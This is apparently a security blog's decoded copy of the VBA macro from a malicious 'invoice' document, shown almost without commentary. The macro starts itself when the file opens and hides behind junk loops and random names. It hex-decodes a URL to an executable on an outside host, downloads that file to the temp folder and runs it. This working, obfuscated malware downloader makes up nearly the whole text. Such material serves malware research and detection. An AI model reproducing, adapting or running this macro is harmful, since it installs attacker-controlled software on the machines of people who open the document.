Invoice from Hexis decoded

Sanesecurity ClamAV blog: zero hour malware, phishing and scams
A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
http://sanesecurity.blogspot.co.uk/

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal dsfsdf As LongPtr, _
    ByVal sdfsdfgds As String, _
    ByVal yurtysdf As String, _
    ByVal iufdsd As Long, _
    ByVal vbxdfsdf As LongPtr) As LongPtr
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal dsfsdf As Long, _
    ByVal sdfsdfgds As String, _
    ByVal yurtysdf As String, _
    ByVal iufdsd As Long, _
    ByVal vbxdfsdf As Long) As Long
#End If


Sub uiwefds()
Dim JzOjvKld As Integer
For JzOjvKld = 0 To 1
Dim pBBdhbMj As Integer
For pBBdhbMj = 0 To 9
Dim MQeaXHnQ As Integer
For MQeaXHnQ = 0 To 7
DoEvents
Next MQeaXHnQ
DoEvents
Next pBBdhbMj
Dim PLCvpaGo As Integer
For PLCvpaGo = 0 To 5
DoEvents
Next PLCvpaGo
DoEvents
Next JzOjvKld
Dim ByLPRPoF As Integer
For ByLPRPoF = 0 To 8
Dim KzYSAJew As Integer
For KzYSAJew = 0 To 6
DoEvents
Next KzYSAJew
DoEvents
Next ByLPRPoF
Dim UonpGakM As Integer
For UonpGakM = 0 To 5
DoEvents
Next UonpGakM
UGivgHgfdg
End Sub
Sub AutoOpen()
Dim HipjVMDI As Integer
For HipjVMDI = 0 To 6
Dim FldilXKU As Integer
For FldilXKU = 0 To 3
Dim neEzgwIm As Integer
For neEzgwIm = 0 To 7
DoEvents
Next neEzgwIm
DoEvents
Next FldilXKU
Dim jpxnEYVL As Integer
For jpxnEYVL = 0 To 5
DoEvents
Next jpxnEYVL
DoEvents
Next HipjVMDI
Dim KNMUJHlQ As Integer
For KNMUJHlQ = 0 To 3
Dim IiYHosKX As Integer
For IiYHosKX = 0 To 1
DoEvents
Next IiYHosKX
DoEvents
Next KNMUJHlQ
Dim qMjVLPPI As Integer
For qMjVLPPI = 0 To 6
DoEvents
Next qMjVLPPI
    uiwefds
End Sub
Sub Workbook_Open()
Dim zFxkURlO As Integer
For zFxkURlO = 0 To 3
Dim WUxmpDbh As Integer
For WUxmpDbh = 0 To 7
Dim NiIUHMrP As Integer
For NiIUHMrP = 0 To 8
DoEvents
Next NiIUHMrP
DoEvents
Next WUxmpDbh
Dim AVCbuhOj As Integer
For AVCbuhOj = 0 To 4
DoEvents
Next AVCbuhOj
DoEvents
Next zFxkURlO
Dim cliZMskz As Integer
For cliZMskz = 0 To 3
Dim TnVmmvfd As Integer
For TnVmmvfd = 0 To 4
DoEvents
Next TnVmmvfd
DoEvents
Next cliZMskz
Dim LJnsAqIf As Integer
For LJnsAqIf = 0 To 7
DoEvents
Next LJnsAqIf
    uiwefds
End Sub
Sub UGivgHgfdg()
Dim aMXkuYDt As Integer
For aMXkuYDt = 0 To 6
Dim VhVjCVvI As Integer
For VhVjCVvI = 0 To 4
Dim ylrNCMWQ As Integer
For ylrNCMWQ = 0 To 3
DoEvents
Next ylrNCMWQ
DoEvents
Next VhVjCVvI
Dim lHpAOReT As Integer
For lHpAOReT = 0 To 6
DoEvents
Next lHpAOReT
DoEvents
Next aMXkuYDt
Dim DZwbJyAN As Integer
For DZwbJyAN = 0 To 2
Dim WEDuKupQ As Integer
For WEDuKupQ = 0 To 1
DoEvents
Next WEDuKupQ
DoEvents
Next DZwbJyAN
Dim pMhVBLRS As Integer
For pMhVBLRS = 0 To 6

Next pMhVBLRS
ghKJfg = gHBJdsg("6874")
jnkdsf = gHBJdsg("74703A2F2F")
hdsjkf = gHBJdsg("6472616D616B617A756B692E6B657361676972692E6E65742F6A732F62696E2E657865")
    ewrwefdsf = ghKJfg + jnkdsf + hdsjkf

Dim IzqfqBCT As Integer
For IzqfqBCT = 0 To 2
Dim qJRLoONV As Integer
For qJRLoONV = 0 To 7
Dim tbUUVMUg As Integer
For tbUUVMUg = 0 To 6
DoEvents
Next tbUUVMUg
DoEvents
Next qJRLoONV
Dim tnRLuKkx As Integer
For tnRLuKkx = 0 To 6
DoEvents
Next tnRLuKkx
DoEvents
Next IzqfqBCT
Dim NrzarJeg As Integer
For NrzarJeg = 0 To 5
Dim yxXAyyyv As Integer
For yxXAyyyv = 0 To 9
DoEvents
Next yxXAyyyv
DoEvents
Next NrzarJeg
Dim JzPxPklW As Integer
For JzPxPklW = 0 To 6
DoEvents
Next JzPxPklW
    ewwfgfdg = Environ(gHBJdsg("54454D50")) & gHBJdsg("5C6473667364662E657865")
Dim ETUbKtRJ As Integer
For ETUbKtRJ = 0 To 4
Dim IiOcPqqr As Integer
For IiOcPqqr = 0 To 8
Dim CwnoVirg As Integer
For CwnoVirg = 0 To 4
DoEvents
Next CwnoVirg
DoEvents
Next IiOcPqqr
Dim ONhNGOcj As Integer
For ONhNGOcj = 0 To 2
DoEvents
Next ONhNGOcj
DoEvents
Next ETUbKtRJ
Dim pBVhaYHP As Integer
For pBVhaYHP = 0 To 4
Dim wYauEKwW As Integer
For wYauEKwW = 0 To 6
DoEvents
Next wYauEKwW
DoEvents
Next pBVhaYHP
Dim LJYSRlqY As Integer
For LJYSRlqY = 0 To 1
DoEvents
Next LJYSRlqY
    wqewr = URLDownloadToFile(0&, ewrwefdsf, ewwfgfdg, 0&, 0&)
   Dim gffUYUdfg
Dim YgpqTtOy As Integer
For YgpqTtOy = 0 To 2
Dim QSZWppCH As Integer
For QSZWppCH = 0 To 2
Dim ZJYDvLqr As Integer
For ZJYDvLqr = 0 To 9
DoEvents
Next ZJYDvLqr
DoEvents
Next QSZWppCH
Dim NaskblaF As Integer
For NaskblaF = 0 To 5
DoEvents
Next NaskblaF
DoEvents
Next YgpqTtOy
Dim dEJDnTZw As Integer
For dEJDnTZw = 0 To 7
Dim sGQchASM As Integer
For sGQchASM = 0 To 4
DoEvents
Next sGQchASM
DoEvents
Next dEJDnTZw
Dim wRiSDhtL As Integer
For wRiSDhtL = 0 To 6
DoEvents
Next wRiSDhtL
    gffUYUdfg = Shell(ewwfgfdg, 1)

End Sub
Public Function gHBJdsg(ByVal hextext As String) As String

Dim wWbztFwG As Integer

Dim GUPqhtPg As Integer
GUPqhtPg = 5
Do While GUPqhtPg < 48
DoEvents: GUPqhtPg = GUPqhtPg + 1
Loop

wWbztFwG = 2
Do While wWbztFwG < 12

Dim uRXhQDWq As Integer
uRXhQDWq = 8
Do While uRXhQDWq < 78
DoEvents: uRXhQDWq = uRXhQDWq + 1
Loop

DoEvents: wWbztFwG = wWbztFwG + 1

Dim EVQinjcM As Integer
EVQinjcM = 3
Do While EVQinjcM < 84
DoEvents: EVQinjcM = EVQinjcM + 1
Loop

Loop


Dim yPwhqFgT As Integer
yPwhqFgT = 8
Do While yPwhqFgT < 42
DoEvents: yPwhqFgT = yPwhqFgT + 1
Loop


For y = 1 To Len(hextext)

Dim DKQuAxYQ As Integer

Dim ApQiblsP As Integer
ApQiblsP = 3
Do While ApQiblsP < 76
DoEvents: ApQiblsP = ApQiblsP + 1
Loop

DKQuAxYQ = 5
Do While DKQuAxYQ < 41

Dim rXwhqJex As Integer
rXwhqJex = 8
Do While rXwhqJex < 34
DoEvents: rXwhqJex = rXwhqJex + 1
Loop

DoEvents: DKQuAxYQ = DKQuAxYQ + 1

Dim GPlvEueK As Integer
GPlvEueK = 3
Do While GPlvEueK < 49
DoEvents: GPlvEueK = GPlvEueK + 1
Loop

Loop


Dim jxtTfTWR As Integer
jxtTfTWR = 7
Do While jxtTfTWR < 96
DoEvents: jxtTfTWR = jxtTfTWR + 1
Loop

    num = Mid(hextext, y, 2)

Dim qsnBhNom As Integer

Dim RVFXklSQ As Integer
RVFXklSQ = 3
Do While RVFXklSQ < 59
DoEvents: RVFXklSQ = RVFXklSQ + 1
Loop

qsnBhNom = 9
Do While qsnBhNom < 46

Dim mtIlYZzo As Integer
mtIlYZzo = 1
Do While mtIlYZzo < 65
DoEvents: mtIlYZzo = mtIlYZzo + 1
Loop

DoEvents: qsnBhNom = qsnBhNom + 1

Dim DKDBypFV As Integer
DKDBypFV = 5
Do While DKDBypFV < 41
DoEvents: DKDBypFV = DKDBypFV + 1
Loop

Loop


Dim EBUcmmrw As Integer
EBUcmmrw = 3
Do While EBUcmmrw < 22
DoEvents: EBUcmmrw = EBUcmmrw + 1
Loop

    Value = Value & Chr(CDbl("&h" & num))

Dim lqyAAJfk As Integer

Dim HnhDciWZ As Integer
HnhDciWZ = 5
Do While HnhDciWZ < 19
DoEvents: HnhDciWZ = HnhDciWZ + 1
Loop

lqyAAJfk = 1
Do While lqyAAJfk < 94

Dim JwOgaoKJ As Integer
JwOgaoKJ = 5
Do While JwOgaoKJ < 18
DoEvents: JwOgaoKJ = JwOgaoKJ + 1
Loop

DoEvents: lqyAAJfk = lqyAAJfk + 1

Dim AqUclcKd As Integer
AqUclcKd = 9
Do While AqUclcKd < 24
DoEvents: AqUclcKd = AqUclcKd + 1
Loop

Loop


Dim kkAWIUuP As Integer
kkAWIUuP = 8
Do While kkAWIUuP < 96
DoEvents: kkAWIUuP = kkAWIUuP + 1
Loop

    y = y + 1
Next y


Dim ljYAaKUD As Integer

Dim HEaLjCxl As Integer
HEaLjCxl = 5
Do While HEaLjCxl < 19
DoEvents: HEaLjCxl = HEaLjCxl + 1
Loop

ljYAaKUD = 1
Do While ljYAaKUD < 67

Dim YPWkTuQH As Integer
YPWkTuQH = 3
Do While YPWkTuQH < 82
DoEvents: YPWkTuQH = YPWkTuQH + 1
Loop

DoEvents: ljYAaKUD = ljYAaKUD + 1

Dim fLpdInWj As Integer
fLpdInWj = 9
Do While fLpdInWj < 81
DoEvents: fLpdInWj = fLpdInWj + 1
Loop

Loop


Dim kwdanxIn As Integer
kwdanxIn = 1
Do While kwdanxIn < 96
DoEvents: kwdanxIn = kwdanxIn + 1
Loop

gHBJdsg = Value
End Function